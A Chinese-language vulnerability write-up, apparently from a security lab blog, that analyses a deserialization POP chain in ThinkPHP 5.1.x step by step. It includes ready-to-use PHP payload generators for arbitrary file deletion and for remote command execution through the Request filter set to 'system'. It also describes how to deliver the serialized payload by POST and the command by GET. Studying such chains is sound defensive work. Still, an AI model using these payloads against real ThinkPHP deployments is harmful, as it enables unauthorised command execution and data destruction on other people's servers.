天天看點

Thinkphp 反序列化利用鍊深入分析

作者:Ethan@知道創宇404實驗室

時間:2019年9月21日

1. 前 言

今年7月份,ThinkPHP 5.1.x爆出來了一個反序列化漏洞。之前沒有分析過關于ThinkPHP的反序列化漏洞。今天就探讨一下ThinkPHP的反序列化問題!

2. 環境搭建

• Thinkphp 5.1.35

• php 7.0.12

3. 漏洞挖掘思路

在剛接觸反序列化漏洞的時候,更多遇到的是在魔術方法中,是以自動調用魔術方法而觸發漏洞。但如果漏洞觸發代碼不在魔法函數中,而在一個類的普通方法中。并且魔法函數通過屬性(對象)調用了一些函數,恰巧在其他的類中有同名的函數(pop鍊)。這時候可以通過尋找相同的函數名将類的屬性和敏感函數的屬性聯系起來。

4. 漏洞分析

首先漏洞的起點為

/thinkphp/library/think/process/pipes/Windows.php

__destruct()

Thinkphp 反序列化利用鍊深入分析

__destruct()

裡面調用了兩個函數,我們跟進

removeFiles()

函數。

class Windows extends Pipes
{
    private $files = [];
    ....
    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }
    ....
}           

複制

這裡使用了

$this->files

,而且這裡的

$files

是可控的。是以存在一個任意檔案删除的漏洞。

POC可以這樣構造:

namespace think\process\pipes;

class Pipes{

}

class Windows extends Pipes
{
private $files = [];

public function __construct()
{
$this->files=['需要删除檔案的路徑'];
}
}

echo base64_encode(serialize(new Windows()));           

複制

這裡隻需要一個反序列化漏洞的觸發點,便可以實作任意檔案删除。

removeFiles()

中使用了

file_exists

$filename

進行了處理。我們進入

file_exists

函數可以知道,

$filename

會被作為字元串處理。

Thinkphp 反序列化利用鍊深入分析

__toString

當一個對象被反序列化後又被當做字元串使用時會被觸發,我們通過傳入一個對象來觸發

__toString

方法。我們全局搜尋

__toString

方法。

Thinkphp 反序列化利用鍊深入分析

我們跟進

\thinkphp\library\think\model\concern\Conversion.php

的Conversion類的第224行,這裡調用了一個

toJson()

方法。

.....
    public function __toString()
    {
        return $this->toJson();
    }
    .....           

複制

跟進

toJson()

方法

....
    public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }
    ....           

複制

繼續跟進

toArray()

方法

public function toArray()
    {
        $item    = [];
        $visible = [];
        $hidden  = [];
        .....
        // 追加屬性(必須定義擷取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加關聯對象屬性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        $relation->visible($name);
                    }
            .....           

複制

我們需要在

toArray()

函數中尋找一個滿足

$可控變量->方法(參數可控)

的點,首先,這裡調用了一個

getRelation

方法。我們跟進

getRelation()

,它位于

Attribute

類中

....
    public function getRelation($name = null)
    {
        if (is_null($name)) {
            return $this->relation;
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        return;
    }
    ....           

複制

由于

getRelation()

下面的

if

語句為

if (!$relation)

,是以這裡不用理會,傳回空即可。然後調用了

getAttr

方法,我們跟進

getAttr

方法

public function getAttr($name, &$item = null)
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $notFound = true;
            $value    = null;
        }
        ......           

複制

繼續跟進

getData

方法

public function getData($name = null)
    {
        if (is_null($name)) {
            return $this->data;
        } elseif (array_key_exists($name, $this->data)) {
            return $this->data[$name];
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }           

複制

通過檢視

getData

函數我們可以知道

$relation

的值為

$this->data[$name]

,需要注意的一點是這裡類的定義使用的是

Trait

而不是

class

。自 PHP 5.4.0 起,PHP 實作了一種代碼複用的方法,稱為

trait

。通過在類中使用

use

關鍵字,聲明要組合的Trait名稱。是以,這裡類的繼承要使用

use

關鍵字。然後我們需要找到一個子類同時繼承了

Attribute

類和

Conversion

類。

我們可以在

\thinkphp\library\think\Model.php

中找到這樣一個類

abstract class Model implements \JsonSerializable, \ArrayAccess
{
    use model\concern\Attribute;
    use model\concern\RelationShip;
    use model\concern\ModelEvent;
    use model\concern\TimeStamp;
    use model\concern\Conversion;
    .......           

複制

我們梳理一下目前我們需要控制的變量

1.

$files

位于類

Windows

2.

$append

位于類

Conversion

3.

$data

位于類

Attribute

利用鍊如下:

Thinkphp 反序列化利用鍊深入分析

5. 代碼執行點分析

我們現在缺少一個進行代碼執行的點,在這個類中需要沒有

visible

方法。并且最好存在

__call

方法,因為

__call

一般會存在

__call_user_func

__call_user_func_array

,php代碼執行的終點經常選擇這裡。我們不止一次在Thinkphp的rce中見到這兩個方法。可以在

/thinkphp/library/think/Request.php

,找到一個

__call

函數。

__call

調用不可通路或不存在的方法時被調用。

......
   public function __call($method, $args)
    {
        if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
            return call_user_func_array($this->hook[$method], $args);
        }

        throw new Exception('method not exists:' . static::class . '->' . $method);
    }
   .....           

複制

但是這裡我們隻能控制

$args

,是以這裡很難反序列化成功,但是

$hook

這裡是可控的,是以我們可以構造一個hook數組

"visable"=>"method"

,但是

array_unshift()

向數組插入新元素時會将新數組的值将被插入到數組的開頭。這種情況下我們是構造不出可用的payload的。

在Thinkphp的Request類中還有一個功能

filter

功能,事實上Thinkphp多個RCE都與這個功能有關。我們可以嘗試覆寫

filter

的方法去執行代碼。

代碼位于第1456行。

....
  private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 調用函數或者方法過濾
                $value = call_user_func($filter, $value);
            }
            .....           

複制

但這裡的

$value

不可控,是以我們需要找到可以控制

$value

的點。

....
    public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 擷取原始資料
            return $data;
        }
        ....
       // 解析過濾器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            if (version_compare(PHP_VERSION, '7.1.0', '<')) {
                // 恢複PHP版本低于 7.1 時 array_walk_recursive 中消耗的内部指針

                $this->arrayReset($data);
            }
        } else {
            $this->filterValue($data, $name, $filter);
        }
.....           

複制

但是input函數的參數不可控,是以我們還得繼續尋找可控點。我們繼續找一個調用

input

函數的地方。我們找到了

param

函數。

public function param($name = '', $default = null, $filter = '')
    {
         ......

        if (true === $name) {
            // 擷取包含檔案上傳資訊的數組
            $file = $this->file();
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

            return $this->input($data, '', $default, $filter);
        }

        return $this->input($this->param, $name, $default, $filter);
    }           

複制

這裡仍然是不可控的,是以我們繼續找調用

param

函數的地方。找到了

isAjax

函數

public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH');
        $result = 'xmlhttprequest' == strtolower($value) ? true : false;

        if (true === $ajax) {
            return $result;
        }

        $result           = $this->param($this->config['var_ajax']) ? true : $result;
        $this->mergeParam = false;
        return $result;
    }           

複制

isAjax

函數中,我們可以控制

$this->config['var_ajax']

$this->config['var_ajax']

可控就意味着

param

函數中的

$name

可控。

param

函數中的

$name

可控就意味着

input

函數中的

$name

可控。

param

函數可以獲得

$_GET

數組并指派給

$this->param

再回到

input

函數中

$data = $this->getData($data, $name);           

複制

$name

的值來自于

$this->config['var_ajax']

,我們跟進

getData

函數。

protected function getData(array $data, $name)
    {
        foreach (explode('.', $name) as $val) {
            if (isset($data[$val])) {
                $data = $data[$val];
            } else {
                return;
            }
        }

        return $data;
    }           

複制

這裡

$data

直接等于

$data[$val]

然後跟進

getFilter

函數

protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }

        $filter[] = $default;

        return $filter;
    }           

複制

這裡的

$filter

來自于

this->filter

,我們需要定義

this->filter

為函數名。

我們再來看一下

input

函數,有這麼幾行代碼

....
if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            ...           

複制

這是一個回調函數,跟進

filterValue

函數。

private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 調用函數或者方法過濾
                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                if (false !== strpos($filter, '/')) {
                    // 正則過濾
                    if (!preg_match($filter, $value)) {
                        // 比對不成功傳回預設值
                        $value = $default;
                        break;
                    }
         .......           

複制

通過分析我們可以發現

filterValue.value

的值為第一個通過

GET

請求的值,而

filters.key

GET

請求的鍵,并且

filters.filters

就等于

input.filters

的值。

我們嘗試構造payload,這裡需要

namespace

定義命名空間

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["ethan"=>["calc.exe","calc"]];
        $this->data = ["ethan"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表單請求類型僞裝變量
        'var_method'       => '_method',
        // 表單ajax僞裝變量
        'var_ajax'         => '_ajax',
        // 表單pjax僞裝變量
        'var_pjax'         => '_pjax',
        // PATHINFO變量名 用于相容模式
        'var_pathinfo'     => 's',
        // 相容PATH_INFO擷取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 預設全局過濾方法 用逗号分隔多個
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理辨別
        'https_agent_name' => '',
        // IP代理擷取辨別
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL僞靜态字尾
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>           

複制

首先自己構造一個利用點,别問我為什麼,這個漏洞就是需要後期開發的時候有利用點,才能觸發

Thinkphp 反序列化利用鍊深入分析

我們把payload通過

POST

傳過去,然後通過

GET

請求擷取需要執行的指令

Thinkphp 反序列化利用鍊深入分析

執行點如下:

Thinkphp 反序列化利用鍊深入分析

利用鍊如下:

Thinkphp 反序列化利用鍊深入分析

參考文章

https://blog.riskivy.com/挖掘暗藏thinkphp中的反序列利用鍊/

https://xz.aliyun.com/t/3674

https://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html

http://www.f4ckweb.top/index.php/archives/73/

https://cl0und.github.io/2017/10/01/POP%E9%93%BE%E5%AD%A6%E4%B9%A0/